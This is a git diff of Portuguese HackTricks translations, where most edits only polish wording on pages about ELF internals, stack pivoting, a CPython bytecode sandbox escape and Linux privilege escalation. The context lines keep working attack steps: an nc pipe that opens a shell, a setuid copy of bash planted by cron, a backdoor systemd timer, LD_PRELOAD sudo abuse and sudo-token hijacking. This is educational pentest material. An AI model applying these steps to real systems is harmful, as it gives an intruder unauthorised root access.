Translated ['src/binary-exploitation/basic-stack-binary-exploitation-met

src/SUMMARY.md

@@ -881,7 +881,6 @@
 - [Interesting Http](todo/interesting-http.md)
 - [Rust Basics](todo/rust-basics.md)
 - [More Tools](todo/more-tools.md)
-- [MISC](todo/misc.md)
 - [Hardware Hacking](todo/hardware-hacking/README.md)
   - [Fault Injection Attacks](todo/hardware-hacking/fault_injection_attacks.md)
   - [I2C](todo/hardware-hacking/i2c.md)

src/binary-exploitation/basic-stack-binary-exploitation-methodology/elf-tricks.md

@@ -54,7 +54,7 @@ Indica o caminho do carregador a ser usado para carregar o binário na memória.
 Esses cabeçalhos são usados para indicar **como carregar um binário na memória.**\
 Cada cabeçalho **LOAD** indica uma região de **memória** (tamanho, permissões e alinhamento) e indica os bytes do binário ELF **a serem copiados lá**.
 
-Por exemplo, o segundo tem um tamanho de 0x1190, deve estar localizado em 0x1fc48 com permissões de leitura e escrita e será preenchido com 0x528 a partir do deslocamento 0xfc48 (não preenche todo o espaço reservado). Essa memória conterá as seções `.init_array .fini_array .dynamic .got .data .bss`.
+Por exemplo, o segundo tem um tamanho de 0x1190, deve estar localizado em 0x1fc48 com permissões de leitura e escrita e será preenchido com 0x528 a partir do deslocamento 0xfc48 (não preenche todo o espaço reservado). Esta memória conterá as seções `.init_array .fini_array .dynamic .got .data .bss`.
 
 ### DYNAMIC
 
@@ -82,11 +82,11 @@ Contém a configuração da defesa de prevenção de execução de pilha. Se hab
 
 ### GNU_RELRO
 
-Indica a configuração RELRO (Relocation Read-Only) do binário. Essa proteção marcará como somente leitura certas seções da memória (como o `GOT` ou as tabelas `init` e `fini`) após o programa ter sido carregado e antes de começar a execução.
+Indica a configuração RELRO (Relocation Read-Only) do binário. Esta proteção marcará como somente leitura certas seções da memória (como o `GOT` ou as tabelas `init` e `fini`) após o programa ter sido carregado e antes de começar a execução.
 
 No exemplo anterior, está copiando 0x3b8 bytes para 0x1fc48 como somente leitura, afetando as seções `.init_array .fini_array .dynamic .got .data .bss`.
 
-Note que RELRO pode ser parcial ou total, a versão parcial não protege a seção **`.plt.got`**, que é usada para **vinculação preguiçosa** e precisa desse espaço de memória para ter **permissões de escrita** para escrever o endereço das bibliotecas na primeira vez que sua localização é pesquisada.
+Note que RELRO pode ser parcial ou total, a versão parcial não protege a seção **`.plt.got`**, que é usada para **vinculação preguiçosa** e precisa que este espaço de memória tenha **permissões de escrita** para escrever o endereço das bibliotecas na primeira vez que sua localização é pesquisada.
 
 > Para técnicas de exploração e notas de bypass atualizadas, verifique a página dedicada:
 
@@ -255,7 +255,7 @@ O diretório NEEDED indica que o programa **precisa carregar a biblioteca mencio
 
 As entradas `DT_RPATH` (obsoleto) e/ou `DT_RUNPATH` influenciam onde o carregador dinâmico procura por dependências. Ordem aproximada:
 
-- `LD_LIBRARY_PATH` (ignorado para programas setuid/sgid ou de "execução segura" de outra forma)
+- `LD_LIBRARY_PATH` (ignorado para programas setuid/sgid ou de "execução segura")
 - `DT_RPATH` (somente se `DT_RUNPATH` estiver ausente)
 - `DT_RUNPATH`
 - `ld.so.cache`
@@ -266,7 +266,7 @@ As entradas `DT_RPATH` (obsoleto) e/ou `DT_RUNPATH` influenciam onde o carregado
 - Inspecione com: `readelf -d ./bin | egrep -i 'r(path|unpath)'`
 - Teste rápido: `LD_DEBUG=libs ./bin 2>&1 | grep -i find` (mostra decisões de caminho de busca)
 
-> Dica de priv-esc: Prefira abusar de RUNPATHs graváveis ou caminhos relativos a `$ORIGIN` mal configurados que você possui. LD_PRELOAD/LD_AUDIT são ignorados em contextos de execução segura (setuid).
+> Dica de privilégio: Prefira abusar de RUNPATHs graváveis ou caminhos relativos a `$ORIGIN` mal configurados que você possui. LD_PRELOAD/LD_AUDIT são ignorados em contextos de execução segura (setuid).
 
 ## Relocações
 
@@ -356,7 +356,7 @@ A relocação também pode referenciar um símbolo externo (como uma função de
 
 A seção PLT permite realizar vinculação preguiçosa, o que significa que a resolução da localização de uma função será realizada na primeira vez que for acessada.
 
-Assim, quando um programa chama malloc, na verdade chama a localização correspondente de `malloc` no PLT (`malloc@plt`). Na primeira vez que é chamado, resolve o endereço de `malloc` e o armazena, para que na próxima vez que `malloc` seja chamado, esse endereço seja usado em vez do código PLT.
+Assim, quando um programa chama malloc, na verdade chama a localização correspondente de `malloc` no PLT (`malloc@plt`). Na primeira vez que é chamada, resolve o endereço de `malloc` e o armazena, para que na próxima vez que `malloc` for chamado, esse endereço seja usado em vez do código PLT.
 
 #### Comportamentos modernos de vinculação que impactam a exploração
 
@@ -378,7 +378,7 @@ Assim, quando um programa chama malloc, na verdade chama a localização corresp
 
 ## Inicialização do Programa
 
-Depois que o programa foi carregado, é hora de ele ser executado. No entanto, o primeiro código que é executado **não é sempre a função `main`**. Isso ocorre porque, por exemplo, em C++, se uma **variável global é um objeto de uma classe**, esse objeto deve ser **inicializado** **antes** que a main seja executada, como em:
+Depois que o programa foi carregado, é hora de ele ser executado. No entanto, o primeiro código que é executado **não é sempre a função `main`**. Isso ocorre porque, por exemplo, em C++, se uma **variável global for um objeto de uma classe**, esse objeto deve ser **inicializado** **antes** que a main seja executada, como em:
 ```cpp
 #include <stdio.h>
 // g++ autoinit.cpp -o autoinit
@@ -416,7 +416,7 @@ Além disso, também é possível ter um **`PREINIT_ARRAY`** com **ponteiros** q
 
 - Sob Partial RELRO, esses arrays vivem em páginas que ainda são graváveis antes que `ld.so` mude `PT_GNU_RELRO` para somente leitura. Se você conseguir uma gravação arbitrária cedo o suficiente ou se puder direcionar os arrays graváveis de uma biblioteca, você pode sequestrar o fluxo de controle sobrescrevendo uma entrada com uma função de sua escolha. Sob Full RELRO, eles são somente leitura em tempo de execução.
 
-- Para abuso de vinculação preguiçosa do vinculador dinâmico para resolver símbolos arbitrários em tempo de execução, veja a página dedicada:
+- Para abuso de ligação preguiçosa do vinculador dinâmico para resolver símbolos arbitrários em tempo de execução, veja a página dedicada:
 
 {{#ref}}
 ../rop-return-oriented-programing/ret2dlresolve.md
@@ -425,7 +425,7 @@ Além disso, também é possível ter um **`PREINIT_ARRAY`** com **ponteiros** q
 ### Ordem de Inicialização
 
 1. O programa é carregado na memória, variáveis globais estáticas são inicializadas em **`.data`** e as não inicializadas são zeradas em **`.bss`**.
-2. Todas as **dependências** para o programa ou bibliotecas são **inicializadas** e a **vinculação dinâmica** é executada.
+2. Todas as **dependências** para o programa ou bibliotecas são **inicializadas** e a **ligação dinâmica** é executada.
 3. Funções **`PREINIT_ARRAY`** são executadas.
 4. Funções **`INIT_ARRAY`** são executadas.
 5. Se houver uma entrada **`INIT`**, ela é chamada.
@@ -448,10 +448,10 @@ O `__TLS_MODULE_BASE` é um símbolo usado para se referir ao endereço base do
 O kernel Linux passa um vetor auxiliar para processos contendo endereços e flags úteis para o tempo de execução:
 
 - `AT_RANDOM`: aponta para 16 bytes aleatórios usados pela glibc para o canário de pilha e outras sementes de PRNG.
-- `AT_SYSINFO_EHDR`: endereço base do mapeamento vDSO (útil para encontrar chamadas de sistema `__kernel_*` e gadgets).
+- `AT_SYSINFO_EHDR`: endereço base do mapeamento vDSO (útil para encontrar syscalls e gadgets `__kernel_*`).
 - `AT_EXECFN`, `AT_BASE`, `AT_PAGESZ`, etc.
 
-Como um atacante, se você puder ler memória ou arquivos em `/proc`, muitas vezes pode vazar esses dados sem um infoleak no processo alvo:
+Como um atacante, se você puder ler memória ou arquivos sob `/proc`, muitas vezes pode vazar esses dados sem um infoleak no processo alvo:
 ```bash
 # Show the auxv of a running process
 cat /proc/$(pidof target)/auxv | xxd

src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md

@@ -15,7 +15,7 @@ ret
 E como o **EBP/RBP salvo está na pilha** antes do EIP/RIP salvo, é possível controlá-lo controlando a pilha.
 
 > Notas
-> - No 64 bits, substitua EBP→RBP e ESP→RSP. A semântica é a mesma.
+> - Em 64 bits, substitua EBP→RBP e ESP→RSP. A semântica é a mesma.
 > - Alguns compiladores omitem o ponteiro de quadro (veja "EBP pode não ser usado"). Nesse caso, `leave` pode não aparecer e essa técnica não funcionará.
 
 ### EBP2Ret
@@ -33,7 +33,7 @@ Primeiro, você precisa saber um **endereço onde pode escrever dados/endereço
 Em seguida, você precisa escolher o endereço usado por `ret` que **transferirá a execução**. Você poderia usar:
 
 - Um endereço válido [**ONE_GADGET**](https://github.com/david942j/one_gadget).
-- O endereço de **`system()`** seguido pelo retorno e argumentos apropriados (em x86: `ret` alvo = `&system`, então 4 bytes de lixo, depois `&"/bin/sh"`).
+- O endereço de **`system()`** seguido pelo retorno apropriado e argumentos (em x86: `ret` alvo = `&system`, então 4 bytes de lixo, depois `&"/bin/sh"`).
 - O endereço de um gadget **`jmp esp;`** ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) seguido de shellcode inline.
 - Uma cadeia [**ROP**](../rop-return-oriented-programing/index.html) em memória gravável.
 
@@ -41,13 +41,13 @@ Lembre-se de que antes de qualquer um desses endereços na área controlada, dev
 
 #### Exploit Off-By-One
 
-Há uma variante usada quando você pode **apenas modificar o byte menos significativo do EBP/RBP salvo**. Nesse caso, a localização de memória que armazena o endereço para o qual pular com **`ret`** deve compartilhar os três/cinco primeiros bytes com o EBP/RBP original para que uma sobrescrita de 1 byte possa redirecioná-lo. Normalmente, o byte baixo (offset 0x00) é aumentado para pular o mais longe possível dentro de uma página/região alinhada próxima.
+Há uma variante usada quando você pode **apenas modificar o byte menos significativo do EBP/RBP salvo**. Nesse caso, a localização da memória que armazena o endereço para o qual pular com **`ret`** deve compartilhar os três/cinco primeiros bytes com o EBP/RBP original para que uma sobrescrita de 1 byte possa redirecioná-lo. Normalmente, o byte baixo (offset 0x00) é aumentado para pular o mais longe possível dentro de uma página/região alinhada próxima.
 
 É comum também usar um RET sled na pilha e colocar a verdadeira cadeia ROP no final para aumentar a probabilidade de que o novo RSP aponte dentro do sled e a cadeia ROP final seja executada.
 
 ### Encadeamento de EBP
 
-Colocando um endereço controlado no slot `EBP` salvo da pilha e um gadget `leave; ret` em `EIP/RIP`, é possível **mover `ESP/RSP` para um endereço controlado pelo atacante**.
+Colocando um endereço controlado no slot de `EBP` salvo da pilha e um gadget `leave; ret` em `EIP/RIP`, é possível **mover `ESP/RSP` para um endereço controlado pelo atacante**.
 
 Agora `RSP` está controlado e a próxima instrução é `ret`. Coloque na memória controlada algo como:
 
@@ -130,7 +130,7 @@ No amd64, você frequentemente verá `pop rbp ; ret` em vez de `leave ; ret`, ma
 
 ### Gadget `pop rsp`
 
-[**Nesta página**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) você pode encontrar um exemplo usando esta técnica. Para esse desafio, era necessário chamar uma função com 2 argumentos específicos, e havia um **gadget `pop rsp`** e há um **leak da pilha**:
+[**Nesta página**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) você pode encontrar um exemplo usando essa técnica. Para esse desafio, era necessário chamar uma função com 2 argumentos específicos, e havia um **gadget `pop rsp`** e há um **leak da pilha**:
 ```python
 # Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
 # This version has added comments

src/generic-methodologies-and-resources/python/bypass-python-sandboxes/load_name-load_const-opcode-oob-read.md

@@ -35,9 +35,9 @@ Vamos começar com um exemplo simples, `[a, b, c]` pode ser compilado no seguint
 6 BUILD_LIST               3
 8 RETURN_VALUE12345
 ```
-Mas e se o `co_names` se tornar uma tupla vazia? O opcode `LOAD_NAME 2` ainda é executado e tenta ler o valor daquele endereço de memória que originalmente deveria estar. Sim, isso é uma "característica" de leitura fora dos limites.
+Mas e se o `co_names` se tornar uma tupla vazia? O opcode `LOAD_NAME 2` ainda é executado e tenta ler o valor daquele endereço de memória que originalmente deveria estar. Sim, isso é um recurso de leitura fora dos limites.
 
-O conceito central para a solução é simples. Alguns opcodes no CPython, por exemplo `LOAD_NAME` e `LOAD_CONST`, são vulneráveis (?) a leitura fora dos limites.
+O conceito central para a solução é simples. Alguns opcodes no CPython, por exemplo, `LOAD_NAME` e `LOAD_CONST`, são vulneráveis (?) a leitura fora dos limites.
 
 Eles recuperam um objeto do índice `oparg` da tupla `consts` ou `names` (é assim que `co_consts` e `co_names` são chamados internamente). Podemos nos referir ao seguinte pequeno trecho sobre `LOAD_CONST` para ver o que o CPython faz quando processa o opcode `LOAD_CONST`.
 ```c
@@ -80,7 +80,7 @@ Você pode entender a razão por trás disso apenas visualizando seu bytecode:
 24 BUILD_LIST               1
 26 RETURN_VALUE1234567891011121314
 ```
-Observe que `LOAD_ATTR` também recupera o nome de `co_names`. O Python carrega nomes do mesmo offset se o nome for o mesmo, então o segundo `__getattribute__` ainda é carregado do offset=5. Usando esse recurso, podemos usar um nome arbitrário uma vez que o nome esteja na memória próxima.
+Observe que `LOAD_ATTR` também recupera o nome de `co_names`. O Python carrega nomes do mesmo deslocamento se o nome for o mesmo, então o segundo `__getattribute__` ainda é carregado do offset=5. Usando esse recurso, podemos usar um nome arbitrário uma vez que o nome esteja na memória próxima.
 
 Para gerar números, deve ser trivial:
 
@@ -205,7 +205,7 @@ print(source)
 # (python exp.py; echo '__import__("os").system("sh")'; cat -) | nc challenge.server port
 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273
 ```
-Basicamente, ele faz as seguintes coisas, para essas strings obtemos do método `__dir__`:
+Basicamente, ele faz as seguintes coisas, para aquelas strings que obtemos do método `__dir__`:
 ```python
 getattr = (None).__getattribute__('__class__').__getattribute__
 builtins = getattr(
@@ -271,7 +271,7 @@ if obj is not None:
 print(idx, type(obj), repr(obj)[:80])
 ```
 Notas
-- Para sondar nomes em vez disso, troque `LOAD_CONST` por `LOAD_NAME`/`LOAD_GLOBAL`/`LOAD_ATTR` e ajuste o uso da sua pilha de acordo.
+- Para sondar nomes em vez disso, troque `LOAD_CONST` por `LOAD_NAME`/`LOAD_GLOBAL`/`LOAD_ATTR` e ajuste o uso da pilha de acordo.
 - Use `EXTENDED_ARG` ou múltiplos bytes de `arg` para alcançar índices >255, se necessário. Ao construir com `dis` como acima, você controla apenas o byte baixo; para índices maiores, construa os bytes brutos você mesmo ou divida o ataque em múltiplos loads.
 
 ### Padrão mínimo de RCE apenas com bytecode (co_consts OOB → builtins → eval/input)
@@ -285,7 +285,7 @@ Uma vez que você tenha identificado um índice `co_consts` que resolve para o m
 # 3) BINARY_SUBSCR to do builtins["input"] / builtins["eval"], CALL each, and RETURN_VALUE
 # This pattern is the same idea as the high-level exploit above, but expressed in raw bytecode.
 ```
-Essa abordagem é útil em desafios que lhe dão controle direto sobre `co_code` enquanto forçam `co_consts=()` e `co_names=()` (por exemplo, BCTF 2024 “awpcode”). Ela evita truques em nível de fonte e mantém o tamanho do payload pequeno ao aproveitar operações de pilha de bytecode e construtores de tuplas.
+Essa abordagem é útil em desafios que lhe dão controle direto sobre `co_code` enquanto forçam `co_consts=()` e `co_names=()` (por exemplo, BCTF 2024 “awpcode”). Ela evita truques em nível de fonte e mantém o tamanho do payload pequeno aproveitando operações de pilha de bytecode e construtores de tuplas.
 
 ### Verificações defensivas e mitigação para sandboxes
 
@@ -325,10 +325,10 @@ raise ValueError("Bytecode refers to name index beyond co_names length")
 ```
 Ideias adicionais de mitigação
 - Não permita `CodeType.replace(...)` arbitrário em entradas não confiáveis, ou adicione verificações estruturais rigorosas no objeto de código resultante.
-- Considere executar código não confiável em um processo separado com sandboxing a nível de OS (seccomp, objetos de trabalho, contêineres) em vez de depender da semântica do CPython.
+- Considere executar código não confiável em um processo separado com sandboxing a nível de SO (seccomp, objetos de trabalho, contêineres) em vez de confiar na semântica do CPython.
 
 ## Referências
 
 - O writeup do HITCON CTF 2022 da Splitline “V O I D” (origem desta técnica e cadeia de exploração de alto nível): https://blog.splitline.tw/hitcon-ctf-2022/
-- Documentos do desassemblador Python (semântica de índices para LOAD_CONST/LOAD_NAME/etc., e flags de baixo bit `LOAD_ATTR`/`LOAD_GLOBAL` para 3.11+): https://docs.python.org/3.13/library/dis.html
+- Documentação do desassemblador Python (semântica de índices para LOAD_CONST/LOAD_NAME/etc., e flags de baixo bit `LOAD_ATTR`/`LOAD_GLOBAL` para 3.11+): https://docs.python.org/3.13/library/dis.html
 {{#include ../../../banners/hacktricks-training.md}}

src/linux-hardening/privilege-escalation/README.md

@@ -144,7 +144,7 @@ Enumere binários úteis
 ```bash
 which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null
 ```
-Além disso, verifique se **algum compilador está instalado**. Isso é útil se você precisar usar algum exploit de kernel, pois é recomendado compilá-lo na máquina onde você vai usá-lo (ou em uma semelhante).
+Além disso, verifique se **algum compilador está instalado**. Isso é útil se você precisar usar algum exploit de kernel, pois é recomendável compilá-lo na máquina onde você vai usá-lo (ou em uma semelhante).
 ```bash
 (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")
 ```
@@ -178,8 +178,8 @@ Você pode usar ferramentas como [**pspy**](https://github.com/DominicBreuker/ps
 ### Memória do processo
 
 Alguns serviços de um servidor salvam **credenciais em texto claro dentro da memória**.\
-Normalmente, você precisará de **privilégios de root** para ler a memória de processos que pertencem a outros usuários, portanto, isso geralmente é mais útil quando você já é root e deseja descobrir mais credenciais.\
-No entanto, lembre-se de que **como um usuário comum, você pode ler a memória dos processos que possui**.
+Normalmente, você precisará de **privilegios de root** para ler a memória de processos que pertencem a outros usuários, portanto, isso é geralmente mais útil quando você já é root e deseja descobrir mais credenciais.\
+No entanto, lembre-se de que **como um usuário regular, você pode ler a memória dos processos que possui**.
 
 > [!WARNING]
 > Note que atualmente a maioria das máquinas **não permite ptrace por padrão**, o que significa que você não pode despejar outros processos que pertencem ao seu usuário sem privilégios.
@@ -189,7 +189,7 @@ No entanto, lembre-se de que **como um usuário comum, você pode ler a memória
 > - **kernel.yama.ptrace_scope = 0**: todos os processos podem ser depurados, desde que tenham o mesmo uid. Esta é a maneira clássica de como o ptracing funcionava.
 > - **kernel.yama.ptrace_scope = 1**: apenas um processo pai pode ser depurado.
 > - **kernel.yama.ptrace_scope = 2**: apenas o administrador pode usar ptrace, pois requer a capacidade CAP_SYS_PTRACE.
-> - **kernel.yama.ptrace_scope = 3**: Nenhum processo pode ser rastreado com ptrace. Uma vez definido, é necessário reiniciar para habilitar o ptracing novamente.
+> - **kernel.yama.ptrace_scope = 3**: Nenhum processo pode ser rastreado com ptrace. Uma vez definido, um reinício é necessário para habilitar o ptracing novamente.
 
 #### GDB
 
@@ -334,7 +334,7 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
 #Wait cron job to be executed
 /tmp/bash -p #The effective uid and gid to be set to the real uid and gid
 ```
-### Cron usando um script com um curinga (Injeção de Curinga)
+### Cron usando um script com um caractere curinga (Injeção de Curinga)
 
 Se um script executado pelo root tiver um “**\***” dentro de um comando, você pode explorar isso para fazer coisas inesperadas (como privesc). Exemplo:
 ```bash
@@ -405,15 +405,15 @@ Então, crie um **executável** com o **mesmo nome que o caminho relativo do bin
 
 ## **Temporizadores**
 
-**Temporizadores** são arquivos de unidade systemd cujo nome termina em `**.timer**` que controlam arquivos ou eventos `**.service**`. **Temporizadores** podem ser usados como uma alternativa ao cron, pois têm suporte embutido para eventos de tempo de calendário e eventos de tempo monotônico e podem ser executados de forma assíncrona.
+**Temporizadores** são arquivos de unidade systemd cujo nome termina em `**.timer**` que controlam arquivos ou eventos `**.service**`. **Temporizadores** podem ser usados como uma alternativa ao cron, pois têm suporte embutido para eventos de tempo de calendário e eventos de tempo monótono e podem ser executados de forma assíncrona.
 
 Você pode enumerar todos os temporizadores com:
 ```bash
 systemctl list-timers --all
 ```
-### Temporizadores graváveis
+### Writable timers
 
-Se você pode modificar um temporizador, pode fazê-lo executar algumas instâncias de systemd.unit (como um `.service` ou um `.target`)
+Se você puder modificar um timer, poderá fazê-lo executar algumas instâncias de systemd.unit (como um `.service` ou um `.target`)
 ```bash
 Unit=backdoor.service
 ```
@@ -446,7 +446,7 @@ Os sockets podem ser configurados usando arquivos `.socket`.
 **Saiba mais sobre sockets com `man systemd.socket`.** Dentro deste arquivo, vários parâmetros interessantes podem ser configurados:
 
 - `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Essas opções são diferentes, mas um resumo é usado para **indicar onde ele vai escutar** o socket (o caminho do arquivo de socket AF_UNIX, o IPv4/6 e/ou número da porta para escutar, etc.)
-- `Accept`: Aceita um argumento booleano. Se **verdadeiro**, uma **instância de serviço é gerada para cada conexão recebida** e apenas o socket de conexão é passado para ele. Se **falso**, todos os sockets de escuta são **passados para a unidade de serviço iniciada**, e apenas uma unidade de serviço é gerada para todas as conexões. Este valor é ignorado para sockets de datagrama e FIFOs onde uma única unidade de serviço lida incondicionalmente com todo o tráfego recebido. **O padrão é falso**. Por razões de desempenho, é recomendado escrever novos daemons apenas de uma forma que seja adequada para `Accept=no`.
+- `Accept`: Aceita um argumento booleano. Se **true**, uma **instância de serviço é criada para cada conexão recebida** e apenas o socket de conexão é passado para ele. Se **false**, todos os sockets de escuta são **passados para a unidade de serviço iniciada**, e apenas uma unidade de serviço é criada para todas as conexões. Este valor é ignorado para sockets de datagrama e FIFOs onde uma única unidade de serviço lida incondicionalmente com todo o tráfego recebido. **O padrão é false**. Por razões de desempenho, é recomendado escrever novos daemons apenas de uma forma que seja adequada para `Accept=no`.
 - `ExecStartPre`, `ExecStartPost`: Aceita uma ou mais linhas de comando, que são **executadas antes** ou **depois** que os **sockets**/FIFOs de escuta são **criados** e vinculados, respectivamente. O primeiro token da linha de comando deve ser um nome de arquivo absoluto, seguido por argumentos para o processo.
 - `ExecStopPre`, `ExecStopPost`: Comandos adicionais que são **executados antes** ou **depois** que os **sockets**/FIFOs de escuta são **fechados** e removidos, respectivamente.
 - `Service`: Especifica o nome da unidade de **serviço** **a ser ativada** no **tráfego recebido**. Esta configuração é permitida apenas para sockets com Accept=no. O padrão é o serviço que tem o mesmo nome que o socket (com o sufixo substituído). Na maioria dos casos, não deve ser necessário usar esta opção.
@@ -481,7 +481,7 @@ socket-command-injection.md
 
 ### Sockets HTTP
 
-Note que pode haver alguns **sockets ouvindo por requisições HTTP** (_não estou falando sobre arquivos .socket, mas os arquivos que atuam como sockets unix_). Você pode verificar isso com:
+Observe que pode haver alguns **sockets ouvindo por requisições HTTP** (_não estou falando sobre arquivos .socket, mas os arquivos que atuam como sockets unix_). Você pode verificar isso com:
 ```bash
 curl --max-time 2 --unix-socket /pat/to/socket/files http:/index
 ```
@@ -687,18 +687,18 @@ Se você **sabe alguma senha** do ambiente **tente fazer login como cada usuári
 
 ### Su Brute
 
-Se você não se importa em fazer muito barulho e os binários `su` e `timeout` estão presentes no computador, você pode tentar forçar a entrada de usuários usando [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\
+Se não se importar em fazer muito barulho e os binários `su` e `timeout` estiverem presentes no computador, você pode tentar forçar a entrada de usuários usando [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\
 [**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) com o parâmetro `-a` também tenta forçar a entrada de usuários.
 
 ## Abusos de PATH gravável
 
 ### $PATH
 
-Se você descobrir que pode **escrever dentro de alguma pasta do $PATH** você pode ser capaz de escalar privilégios **criando um backdoor dentro da pasta gravável** com o nome de algum comando que será executado por um usuário diferente (idealmente root) e que **não é carregado de uma pasta que está localizada antes** da sua pasta gravável no $PATH.
+Se você descobrir que pode **escrever dentro de alguma pasta do $PATH**, pode ser capaz de escalar privilégios **criando um backdoor dentro da pasta gravável** com o nome de algum comando que será executado por um usuário diferente (idealmente root) e que **não é carregado de uma pasta que está localizada antes** da sua pasta gravável no $PATH.
 
 ### SUDO e SUID
 
-Você pode ter permissão para executar algum comando usando sudo ou eles podem ter o bit suid. Verifique isso usando:
+Você pode ter permissão para executar algum comando usando sudo ou eles podem ter o bit suid. Verifique usando:
 ```bash
 sudo -l #Check commands you can execute with sudo
 find / -perm -4000 2>/dev/null #Find all SUID binaries
@@ -769,7 +769,7 @@ Essa técnica também pode ser usada se um **suid** binário **executar outro co
 
 ### Binário SUID com caminho de comando
 
-Se o binário **suid** **executar outro comando especificando o caminho**, então, você pode tentar **exportar uma função** nomeada como o comando que o arquivo suid está chamando.
+Se o **suid** binário **executar outro comando especificando o caminho**, então, você pode tentar **exportar uma função** nomeada como o comando que o arquivo suid está chamando.
 
 Por exemplo, se um binário suid chama _**/usr/sbin/service apache2 start**_, você deve tentar criar a função e exportá-la:
 ```bash
@@ -814,7 +814,7 @@ Finalmente, **escalar privilégios** executando
 sudo LD_PRELOAD=./pe.so <COMMAND> #Use any command you can run with sudo
 ```
 > [!CAUTION]
-> Uma privesc semelhante pode ser abusada se o atacante controlar a variável de ambiente **LD_LIBRARY_PATH** porque ele controla o caminho onde as bibliotecas serão procuradas.
+> Um privesc semelhante pode ser explorado se o atacante controlar a variável de ambiente **LD_LIBRARY_PATH** porque ele controla o caminho onde as bibliotecas serão procuradas.
 ```c
 #include <stdio.h>
 #include <stdlib.h>
@@ -913,22 +913,22 @@ https://gtfoargs.github.io/
 
 Se você pode acessar `sudo -l`, pode usar a ferramenta [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) para verificar se encontra uma maneira de explorar qualquer regra do sudo.
 
-### Reutilizando Tokens Sudo
+### Reutilizando Tokens do Sudo
 
-Em casos onde você tem **acesso sudo** mas não a senha, você pode escalar privilégios **esperando pela execução de um comando sudo e então sequestrando o token da sessão**.
+Em casos onde você tem **acesso ao sudo** mas não a senha, você pode escalar privilégios **esperando pela execução de um comando sudo e então sequestrando o token da sessão**.
 
 Requisitos para escalar privilégios:
 
 - Você já tem um shell como usuário "_sampleuser_"
-- "_sampleuser_" **usou `sudo`** para executar algo nos **últimos 15 minutos** (por padrão, essa é a duração do token sudo que nos permite usar `sudo` sem introduzir nenhuma senha)
+- "_sampleuser_" **usou `sudo`** para executar algo nos **últimos 15 minutos** (por padrão, essa é a duração do token do sudo que nos permite usar `sudo` sem introduzir nenhuma senha)
 - `cat /proc/sys/kernel/yama/ptrace_scope` é 0
 - `gdb` é acessível (você pode ser capaz de carregá-lo)
 
-(Você pode habilitar temporariamente `ptrace_scope` com `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` ou modificando permanentemente `/etc/sysctl.d/10-ptrace.conf` e definindo `kernel.yama.ptrace_scope = 0`)
+(Você pode habilitar temporariamente `ptrace_scope` com `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` ou permanentemente modificando `/etc/sysctl.d/10-ptrace.conf` e definindo `kernel.yama.ptrace_scope = 0`)
 
 Se todos esses requisitos forem atendidos, **você pode escalar privilégios usando:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject)
 
-- O **primeiro exploit** (`exploit.sh`) criará o binário `activate_sudo_token` em _/tmp_. Você pode usá-lo para **ativar o token sudo na sua sessão** (você não obterá automaticamente um shell root, faça `sudo su`):
+- O **primeiro exploit** (`exploit.sh`) criará o binário `activate_sudo_token` em _/tmp_. Você pode usá-lo para **ativar o token do sudo na sua sessão** (você não obterá automaticamente um shell root, faça `sudo su`):
 ```bash
 bash exploit.sh
 /tmp/activate_sudo_token
@@ -979,9 +979,9 @@ permit nopass demo as root cmd vim
 ```
 ### Sudo Hijacking
 
-Se você sabe que um **usuário geralmente se conecta a uma máquina e usa `sudo`** para escalar privilégios e você obteve um shell dentro desse contexto de usuário, você pode **criar um novo executável sudo** que executará seu código como root e, em seguida, o comando do usuário. Então, **modifique o $PATH** do contexto do usuário (por exemplo, adicionando o novo caminho em .bash_profile) para que, quando o usuário executar sudo, seu executável sudo seja executado.
+Se você sabe que um **usuário geralmente se conecta a uma máquina e usa `sudo`** para escalar privilégios e você obteve um shell dentro desse contexto de usuário, você pode **criar um novo executável sudo** que executará seu código como root e, em seguida, o comando do usuário. Em seguida, **modifique o $PATH** do contexto do usuário (por exemplo, adicionando o novo caminho em .bash_profile) para que, quando o usuário executar sudo, seu executável sudo seja executado.
 
-Note que se o usuário usar um shell diferente (não bash), você precisará modificar outros arquivos para adicionar o novo caminho. Por exemplo, [sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifica `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Você pode encontrar outro exemplo em [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py)
+Observe que, se o usuário usar um shell diferente (não bash), você precisará modificar outros arquivos para adicionar o novo caminho. Por exemplo, [sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifica `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Você pode encontrar outro exemplo em [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py)
 
 Ou executando algo como:
 ```bash
@@ -1071,16 +1071,16 @@ setfacl -m u:kali:rw file.txt
 
 setfacl -b file.txt #Remove the ACL of the file
 ```
-**Obter** arquivos com ACLs específicas do sistema:
+**Obtenha** arquivos com ACLs específicas do sistema:
 ```bash
 getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null
 ```
-## Open shell sessions
